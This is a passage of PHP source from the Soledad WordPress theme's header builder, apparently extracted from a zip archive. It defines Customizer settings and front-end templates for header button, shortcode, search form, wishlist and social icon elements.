			'render_callback' => function () {
				load_template( PENCI_BUILDER_PATH . '/template/desktop-builder.php' );
			},
		],
	],
);
$options[] = array(
	'id'        => 'penci_header_pb_button_link_setting',
	'default'   => 'https://your-link.com',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-text',
	'label'     => __( 'Button Link', 'soledad' ),
	'priority'  => 10,
);
$options[] = array(
	'id'        => 'penci_header_pb_button_link_target',
	'default'   => '_blank',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => __( 'Link Target', 'soledad' ),
	'choices'   => [
		'_blank'  => __('Blank','soledad' ),
		'_self'   => __('Self','soledad' ),
		'_parent' => __('Parent','soledad' ),
		'_top'    => __('Top','soledad' ),
	]
);
$options[] = array(
	'id'        => 'penci_header_pb_button_link_rel',
	'default'   => 'noreferrer',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __('Select "rel" Attribute Type for Button Link','soledad' ),
	'type'      => 'soledad-fw-select',
	'choices'   => array(
		'none'                         => __('None','soledad' ),
		'nofollow'                     => __('nofollow','soledad' ),
		'noreferrer'                   => __('noreferrer','soledad' ),
		'noopener'                     => __('noopener','soledad' ),
		'noreferrer_noopener'          => __('noreferrer noopener','soledad' ),
		'nofollow_noreferrer'          => __('nofollow noreferrer','soledad' ),
		'nofollow_noopener'            => __('nofollow noopener','soledad' ),
		'nofollow_noreferrer_noopener' => __('nofollow noreferrer noopener','soledad' ),
	)
);
$options[] = array(
	'id'        => 'penci_header_pb_button_style',
	'default'   => 'style-4',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => __( 'Button Pre-define Style', 'soledad' ),
	'choices'   => [
		'customize' => __('Default','soledad' ),
		'style-4'   => __('Filled','soledad' ),
		'style-1'   => __('Bordered','soledad' ),
		'style-2'   => __('Link','soledad' ),
		'style-3'   => __('Creative','soledad' ),
	]
);
$options[] = array(
	'id'        => 'penci_header_pb_button_shape',
	'default'   => 'ratangle',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => __( 'Button Shape', 'soledad' ),
	'choices'   => [
		'ratangle' => __('Retangle','soledad' ),
		'circle'   => __('Circle','soledad' ),
		'round'    => __('Round','soledad' ),
	]
);
$options[] = array(
	'id'        => 'penci_header_pb_button_spacing_setting',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-box-model',
	'label'   => __( 'Button Spacing', 'soledad' ),
	'choices' => array(
		'margin'        => array(
			'margin-top'    => '',
			'margin-right'  => '',
			'margin-bottom' => '',
			'margin-left'   => '',
		),
		'padding'       => array(
			'padding-top'    => '',
			'padding-right'  => '',
			'padding-bottom' => '',
			'padding-left'   => '',
		),
		'border'        => array(
			'border-top'    => '',
			'border-right'  => '',
			'border-bottom' => '',
			'border-left'   => '',
		),
		'border-radius' => array(
			'border-radius-top'    => '',
			'border-radius-right'  => '',
			'border-radius-bottom' => '',
			'border-radius-left'   => '',
		),
	),
);
/* start font */
$options[] = array(
	'id'        => 'penci_header_pb_button_font',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __('Font For Button Text','soledad' ),
	'type'      => 'soledad-fw-select',
	'choices'   => penci_all_fonts( 'select' )
);
$options[] = array(
	'id'        => 'penci_header_pb_button_font_w',
	'default'   => 'bold',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __('Font Weight For Button Text','soledad' ),
	'type'      => 'soledad-fw-select',
	'choices'   => array(
		'normal'  => __('Normal','soledad' ),
		'bold'    => __('Bold','soledad' ),
		'bolder'  => __('Bolder','soledad' ),
		'lighter' => __('Lighter','soledad' ),
		'100'     => __('100','soledad' ),
		'200'     => __('200','soledad' ),
		'300'     => __('300','soledad' ),
		'400'     => __('400','soledad' ),
		'500'     => __('500','soledad' ),
		'600'     => __('600','soledad' ),
		'700'     => __('700','soledad' ),
		'800'     => __('800','soledad' ),
		'900'     => __('900','soledad' ),
	)
);
$options[] = array(
	'id'        => 'penci_header_pb_button_font_s',
	'default'   => 'normal',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __('Font Style for Button Text','soledad' ),
	'type'      => 'soledad-fw-select',
	'choices'   => array(
		'normal' => 'Normal',
		'italic' => 'Italic'
	)
);
/* end font*/
$options[] = array(
	'id'        => 'penci_header_pb_button_border_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Borders Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_button_border_hv_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Borders Hover Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_button_bg_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Background Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_button_bg_hv_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-color',

	'label' => __( 'Background Hover Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_button_txt_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Text Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_button_txt_hv_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Text Hover Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_button_txt_size',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'absint',
	'type'      => 'soledad-fw-size',
	'label'     => __('Button Font Size','soledad' ),
	'ids'       => array(
		'desktop' => 'penci_header_pb_button_txt_size',
	),
	'choices'   => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'id'       => 'penci_header_pb_button_txt_css_class',
	'default'  => '',
	'sanitize' => 'penci_sanitize_textarea_field',
	'type'     => 'soledad-fw-text',
	'label'    => esc_html__( 'Custom CSS Class', 'soledad' ),
);
return $options;
PK     /w\@S    -  builder/elements/pb_shortcode_3/front-end.phpnu [        <?php 
$header_data    = $args['header_data'];
$shortcode_html  = penci_builder_validate_mod( $header_data, 'penci_header_builder_pb_shortcode_3_name', false );
$shortcode_class = penci_builder_validate_mod( $header_data, 'penci_header_builder_pb_shortcode_3_class' );
if ( empty( $shortcode_html ) ) {
	return false;
}
?>

<div class="penci-builder-element penci-shortcodes-3 <?php echo esc_attr( $shortcode_class ); ?>">
	<?php echo do_shortcode( $shortcode_html ); ?>
</div>
PK     /w\HFJ6  6  ,  builder/elements/pb_shortcode_3/settings.phpnu [        <?php 

$options = [];
$options[] = array(
	'id'                => 'penci_header_builder_pb_shortcode_3_name',
	'default'           => '',
	'transport'         => 'postMessage',
	'sanitize_callback' => 'penci_sanitize_choices_field',
	'type'              => 'soledad-fw-textarea',
	
	'label'             => esc_html__( 'Shortcode Code', 'soledad' ),
	'priority' => 10,
);
$options[] = array(
	'id'                => 'penci_header_builder_pb_shortcode_3_spacing',
	'default'           => '',
	'transport'         => 'postMessage',
	'sanitize_callback' => 'penci_sanitize_choices_field',
	'type'              =>  'soledad-fw-box-model',
	'label'             => __( 'Element Spacing', 'soledad' ),
	'choices' => array(
		'margin'  => array(
			'margin-top'    => '',
			'margin-right'  => '',
			'margin-bottom' => '',
			'margin-left'   => '',
		),
		'padding' => array(
			'padding-top'    => '',
			'padding-right'  => '',
			'padding-bottom' => '',
			'padding-left'   => '',
		),
	),
);
$options[] = array(
	'id'                => 'penci_header_builder_pb_shortcode_3_class',
	'default'           => '',
	'transport'         => 'postMessage',
	'sanitize_callback' => 'penci_sanitize_textarea_field',
	'type'              =>  'soledad-fw-text',
	'label'             => esc_html__( 'Custom CSS Class', 'soledad' ),
);
return $options;PK     /w\\0-    -  builder/elements/pb_search_form/front-end.phpnu [        <?php 
$header_data    = $args['header_data'];
$class   = [];
$class[] = 'search-style-' . penci_builder_validate_mod( $header_data, 'penci_header_pb_search_form_style' );
$class[] = penci_builder_validate_mod( $header_data, 'penci_header_pb_search_form_menu_class' );
penci_search_form( [
	'wrapper_custom_classes' => 'penci-builder-element pc-search-form-desktop pc-search-form ' . implode( ' ', $class ),
	'el_classes'             => 'pc-searchform',
] );
PK     /w\fchg  g  ,  builder/elements/pb_search_form/settings.phpnu [        <?php 

$options   = [];
$options[] = array(
	'id'        => 'penci_header_pb_search_form_style',
	'default'   => 'default',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __('Search Style','soledad' ),

	'type'    => 'soledad-fw-select',
	'choices' => array(
		'default'     => __('Default','soledad' ),
		'text-button' => __('Text Button','soledad' ),
		'icon-button' => __('Icon Button','soledad' ),
	)
);
$options[] = array(
	'id'        => 'penci_header_pb_search_form_bg_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __('Background Color','soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_search_form_border_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'label'     => __('Borders Color','soledad' ),
	'type'      => 'soledad-fw-color',
);
$options[] = array(
	'id'        => 'penci_header_pb_search_form_txt_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'label'     => __('Text Color','soledad' ),
	'type'      => 'soledad-fw-color',
);
$options[] = array(
	'id'        => 'penci_header_pb_search_form_btntxt_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'label'     => __('Icon/Button Text Color','soledad' ),
	'type'      => 'soledad-fw-color',
);
$options[] = array(
	'id'        => 'penci_header_pb_search_form_btnhtxt_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'label'     => __('Button Hover Text Color','soledad' ),
	'type'      => 'soledad-fw-color',
);
$options[] = array(
	'id'        => 'penci_header_pb_search_form_btn_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'label'     => __('Button Background Color','soledad' ),
	'type'      => 'soledad-fw-color',
);
$options[] = array(
	'id'        => 'penci_header_pb_search_form_btn_hv_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'label'     => __('Button Background Hover Color','soledad' ),
	'type'      => 'soledad-fw-color',
);
$options[] = array(
	'id'        => 'penci_header_pb_search_form_width',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'absint',
	'label'     => __('Search Form Max Width','soledad' ),
	'type'      => 'soledad-fw-size',
	'ids'       => array(
		'desktop' => 'penci_header_pb_search_form_width',
	),
	'choices'   => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 1200,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'id'        => 'penci_header_pb_search_form_height',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'absint',
	'label'     => __('Custom Height','soledad' ),
	'type'      => 'soledad-fw-size',
	'ids'       => array(
		'desktop' => 'penci_header_pb_search_form_height',
	),
	'choices'   => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 1200,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'id'        => 'penci_header_pb_search_form_input_size',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'absint',
	'label'     => __('Font Size for Input Text','soledad' ),
	'type'      => 'soledad-fw-size',
	'ids'       => array(
		'desktop' => 'penci_header_pb_search_form_input_size',
	),
	'choices'   => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 1200,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'id'        => 'penci_header_pb_search_form_btn_size',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'absint',
	'label'     => __('Font Size for Button/Icon','soledad' ),
	'type'      => 'soledad-fw-size',
	'ids'       => array(
		'desktop' => 'penci_header_pb_search_form_btn_size',
	),
	'choices'   => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 1200,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'id'        => 'penci_header_pb_search_form_input_pdl',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-size',
	'ids'       => array(
		'desktop' => 'penci_header_pb_search_form_input_pdl',
	),
	'choices'   => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 1200,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
	'label'     => __( 'Input Text Padding Left', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_search_form_input_pdr',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-size',
	'ids'       => array(
		'desktop' => 'penci_header_pb_search_form_input_pdr',
	),
	'choices'   => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 1200,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
	'label'     => __( 'Input Text Padding Right', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_search_form_btn_pdl',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-size',
	'ids'       => array(
		'desktop' => 'penci_header_pb_search_form_btn_pdl',
	),
	'choices'   => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 1200,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
	'label'     => __( 'Button Padding Left', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_search_form_btn_pdr',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-size',
	'ids'       => array(
		'desktop' => 'penci_header_pb_search_form_btn_pdr',
	),
	'choices'   => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 1200,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
	'label'     => __( 'Button Padding Right', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_search_form_menu_spacing',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-box-model',
	'label'     => __( 'Element Spacing', 'soledad' ),
	'choices'   => array(
		'margin'  => array(
			'margin-top'    => '',
			'margin-right'  => '',
			'margin-bottom' => '',
			'margin-left'   => '',
		),
		'padding' => array(
			'padding-top'    => '',
			'padding-right'  => '',
			'padding-bottom' => '',
			'padding-left'   => '',
		),
	),
);
$options[] = array(
	'id'        => 'penci_header_pb_search_form_menu_class',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_textarea_field',
	'type'      => 'soledad-fw-text',
	'label'     => esc_html__( 'Custom CSS Class', 'soledad' ),

);

return $options;
PK     /w\~g*    /  builder/elements/pb_wishlist_icon/front-end.phpnu [        <?php 
$header_data    = $args['header_data'];
$wishlist_page_id = get_theme_mod( 'penci_woocommerce_wishlist_page' );
if ( $wishlist_page_id ) :
	?>
    <div id="top-header-wishlist"
         class="pc-builder-element penci-builder-elements top-search-classes pcheader-icon wishlist-icon">
        <a class="wishlist-contents pc-button-define-<?php echo penci_builder_validate_mod( $header_data, 'penci_header_pb_wishlist_icon_section_btnstyle','customize' ); ?>" href="<?php echo esc_url( get_page_link( $wishlist_page_id ) ); ?>"
           title="<?php echo penci_woo_translate_text( 'penci_woo_trans_viewwishlist' ); ?>">

            <i class="penciicon-heart"></i>
            <span><?php do_action( 'penci_current_wishlist' ); ?></span>
        </a>
    </div>
<?php 
endif;
PK     /w\    .  builder/elements/pb_wishlist_icon/settings.phpnu [        <?php 

$options   = [];
$options[] = array(
	'id'        => 'penci_header_pb_wishlist_icon_section_btnstyle',
	'default'   => 'customize',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => __( 'Cart Icon Button Pre-define Style', 'soledad' ),
	'choices'   => [
		'customize' => __('Default','soledad' ),
		'style-4'   => __('Filled','soledad' ),
		'style-1'   => __('Bordered','soledad' ),
		'style-2'   => __('Link','soledad' ),
	]
);
$options[] = array(
	'id'        => 'penci_header_pb_wishlist_icon_section_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => esc_html__( 'Wishlist Icon Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_wishlist_icon_section_hv_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => esc_html__( 'Wishlist Icon Hover Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_wishlist_icon_section_bd_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => esc_html__( 'Wishlist Icon Borders Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_wishlist_icon_section_bdh_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => esc_html__( 'Wishlist Icon Hover Borders Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_wishlist_icon_section_bg_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => esc_html__( 'Wishlist Icon Background Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_wishlist_icon_section_bgh_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => esc_html__( 'Wishlist Icon Hover Background Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_wishlist_icon_section_item_count_txt',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => esc_html__( 'Number Count Text Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_wishlist_icon_section_item_count_bg',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => esc_html__( 'Number Count Text Background Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_wishlist_icon_section_size',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'absint',
	'type'      => 'soledad-fw-size',
	'label'     => __('Icon Size','soledad' ),
	'ids'       => array(
		'desktop' => 'penci_header_pb_wishlist_icon_section_size',
	),
	'choices'   => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'id'        => 'penci_header_pb_wishlist_icon_section_btnbstyle',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => __( 'Button Borders Style', 'soledad' ),
	'choices'   => [
		''       => __('Default','soledad' ),
		'none'   => __('None','soledad' ),
		'dotted' => __('Dotted','soledad' ),
		'dashed' => __('Dashed','soledad' ),
		'solid'  => __('Solid','soledad' ),
		'double' => __('Double','soledad' ),
	],
);
$options[] = array(
	'id'        => 'penci_header_pb_wishlist_icon_section_btnspacing',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-box-model',
	'label'     => __( 'Button Spacing', 'soledad' ),
	'choices'   => array(
		'margin'        => array(
			'margin-top'    => '',
			'margin-right'  => '',
			'margin-bottom' => '',
			'margin-left'   => '',
		),
		'padding'       => array(
			'padding-top'    => '',
			'padding-right'  => '',
			'padding-bottom' => '',
			'padding-left'   => '',
		),
		'border'        => array(
			'border-top'    => '',
			'border-right'  => '',
			'border-bottom' => '',
			'border-left'   => '',
		),
		'border-radius' => array(
			'border-radius-top'    => '',
			'border-radius-right'  => '',
			'border-radius-bottom' => '',
			'border-radius-left'   => '',
		),
	),
);
$options[] = array(
	'id'        => 'penci_header_pb_wishlist_icon_section_spacing',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-box-model',
	'label'     => __( 'Element Spacing', 'soledad' ),
	'choices'   => array(
		'margin'  => array(
			'margin-top'    => '',
			'margin-right'  => '',
			'margin-bottom' => '',
			'margin-left'   => '',
		),
		'padding' => array(
			'padding-top'    => '',
			'padding-right'  => '',
			'padding-bottom' => '',
			'padding-left'   => '',
		),
	),
);

return $options;
PK     /w\E.H    5  builder/elements/pb_search_form_sidebar/front-end.phpnu [        <?php 
$header_data    = $args['header_data'];
$class   = [];
$class[] = 'search-style-' . penci_builder_validate_mod( $header_data, 'penci_header_pb_search_form_sidebar_style' );
$class[] = penci_builder_validate_mod( $header_data, 'penci_header_pb_search_form_sidebar_menu_class' );
penci_search_form( [
	'wrapper_custom_classes' => 'penci-builder-element pc-search-form pc-search-form-sidebar ' . implode( ' ', $class ),
	'el_classes'             => 'pc-searchform',
] );
PK     /w\,_K  K  4  builder/elements/pb_search_form_sidebar/settings.phpnu [        <?php 

$options   = [];
$options[] = array(
	'id'        => 'penci_header_pb_search_form_sidebar_style',
	'default'   => 'default',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __('Search Style','soledad' ),
	
	'type'      => 'soledad-fw-select',
	'choices'   => array(
		'default'     => __('Default','soledad' ),
		'text-button' => __('Text Button','soledad' ),
		'icon-button' => __('Icon Button','soledad' ),
	)
);
$options[] = array(
	'id'        => 'penci_header_pb_search_form_sidebar_bg_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'label'     => __('Background Color','soledad' ),
	'type'      => 'soledad-fw-color',
);
$options[] = array(
	'id'        => 'penci_header_pb_search_form_sidebar_border_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'label'     => __('Borders Color','soledad' ),
	'type'      => 'soledad-fw-color',
);
$options[] = array(
	'id'        => 'penci_header_pb_search_form_sidebar_txt_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'label'     => __('Text Color','soledad' ),
	'type'      => 'soledad-fw-color',
);
$options[] = array(
	'id'        => 'penci_header_pb_search_form_sidebar_btntxt_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'label'     => __('Icon/Button Text Color','soledad' ),
	'type'      => 'soledad-fw-color',
);
$options[] = array(
	'id'        => 'penci_header_pb_search_form_sidebar_btnhtxt_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'label'     => __('Button Hover Text Color','soledad' ),
	'type'      => 'soledad-fw-color',
);
$options[] = array(
	'id'        => 'penci_header_pb_search_form_sidebar_btn_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'label'     => __('Button Background Color','soledad' ),
	'type'      => 'soledad-fw-color',
);
$options[] = array(
	'id'        => 'penci_header_pb_search_form_sidebar_btn_hv_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'label'     => __('Button Background Hover Color','soledad' ),
	'type'      => 'soledad-fw-color',
);
$options[] = array(
	'id'        => 'penci_header_pb_search_form_sidebar_height',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'absint',
	'label'     => __('Custom Height','soledad' ),
	'type'      => 'soledad-fw-size',
	'ids'  => array(
		'desktop' => 'penci_header_pb_search_form_sidebar_height',
	),
	'choices'   => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 1200,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'id'        => 'penci_header_pb_search_form_sidebar_input_size',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'absint',
	'label'     => __('Font Size for Input Text','soledad' ),
	'type'      => 'soledad-fw-size',
	'ids'  => array(
		'desktop' => 'penci_header_pb_search_form_sidebar_input_size',
	),
	'choices'   => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 1200,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'id'        => 'penci_header_pb_search_form_sidebar_btn_size',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'absint',
	'label'     => __('Font Size for Button/Icon','soledad' ),
	'type'      => 'soledad-fw-size',
	'ids'  => array(
		'desktop' => 'penci_header_pb_search_form_sidebar_btn_size',
	),
	'choices'   => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 1200,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'id'        => 'penci_header_pb_search_form_sidebar_input_pdl',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-size',
	'ids'       => array(
		'desktop' => 'penci_header_pb_search_form_sidebar_input_pdl',
	),
	'choices'   => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 1200,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
	'label'     => __( 'Input Text Padding Left', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_search_form_sidebar_input_pdr',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-size',
	'ids'       => array(
		'desktop' => 'penci_header_pb_search_form_sidebar_input_pdr',
	),
	'choices'   => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 1200,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
	'label'     => __( 'Input Text Padding Right', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_search_form_sidebar_btn_pdl',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-size',
	'ids'       => array(
		'desktop' => 'penci_header_pb_search_form_sidebar_btn_pdl',
	),
	'choices'   => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 1200,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
	'label'     => __( 'Button Padding Left', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_search_form_sidebar_btn_pdr',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-size',
	'ids'       => array(
		'desktop' => 'penci_header_pb_search_form_sidebar_btn_pdr',
	),
	'choices'   => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 1200,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
	'label'     => __( 'Button Padding Right', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_search_form_sidebar_menu_spacing',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-box-model',
	'label'     => __( 'Element Spacing', 'soledad' ),
	'choices'   => array(
		'margin'  => array(
			'margin-top'    => '',
			'margin-right'  => '',
			'margin-bottom' => '',
			'margin-left'   => '',
		),
		'padding' => array(
			'padding-top'    => '',
			'padding-right'  => '',
			'padding-bottom' => '',
			'padding-left'   => '',
		),
	),
);
$options[] = array(
	'id'        => 'penci_header_pb_search_form_sidebar_menu_class',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_textarea_field',
	'type'      => 'soledad-fw-text',
	'label'     => esc_html__( 'Custom CSS Class', 'soledad' ),
);


return $options;
PK     /w\Qg\  \  -  builder/elements/pb_social_icon/front-end.phpnu [        <?php 
$header_data    = $args['header_data'];
$style     = penci_builder_validate_mod( $header_data, 'penci_header_pb_social_icon_section_icon_style', 'simple' );
$classes   = [];
$classes[] = 'social-icon-style penci-social-' . $style;
$classes[] = 'penci-social-' . penci_builder_validate_mod( $header_data, 'penci_header_pb_social_icon_section_icon_color', 'textaccent' );
?>
<div class="header-social desktop-social penci-builder-element">
    <div class="inner-header-social <?php echo implode( ' ', $classes ); ?>">
		<?php
		$dataref     = penci_builder_validate_mod( $header_data, 'penci_header_pb_social_icon_section_penci_rel_type_social' ) ? penci_builder_validate_mod( $header_data, 'penci_header_pb_social_icon_section_penci_rel_type_social' ) : 'noreferrer';
		$data_return = str_replace( '_', ' ', $dataref );
		if ( 'none' != $data_return ) {
			$rel = ' rel="' . $data_return . '"';
